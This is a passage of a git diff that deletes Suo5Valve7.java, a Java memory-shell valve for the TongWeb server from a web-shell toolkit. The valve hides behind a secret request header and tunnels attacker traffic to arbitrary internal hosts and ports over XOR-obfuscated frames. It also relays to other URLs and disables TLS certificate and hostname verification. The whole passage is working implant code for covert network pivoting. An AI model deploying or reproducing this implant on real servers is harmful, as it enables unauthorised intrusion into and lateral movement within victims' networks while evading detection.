CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java deleted file mode 100644 index e7628fbf..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java +++ /dev/null @@ -1,595 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.suo5; - -import com.tongweb.catalina.Valve; -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.net.ssl.*; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - */ -public class Suo5Valve7 implements Valve, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - protected Valve next; - protected boolean asyncSupported; - - public Suo5Valve7() { - } - - public Suo5Valve7(InputStream gInStream, OutputStream gOutStream) { - this.gInStream = gInStream; - this.gOutStream = gOutStream; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - String contentType = request.getContentType(); - if (contentType == null) { - this.getNext().invoke(request, response); - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - this.getNext().invoke(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Valve7 p = new Suo5Valve7(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } -} \ No newline at end of file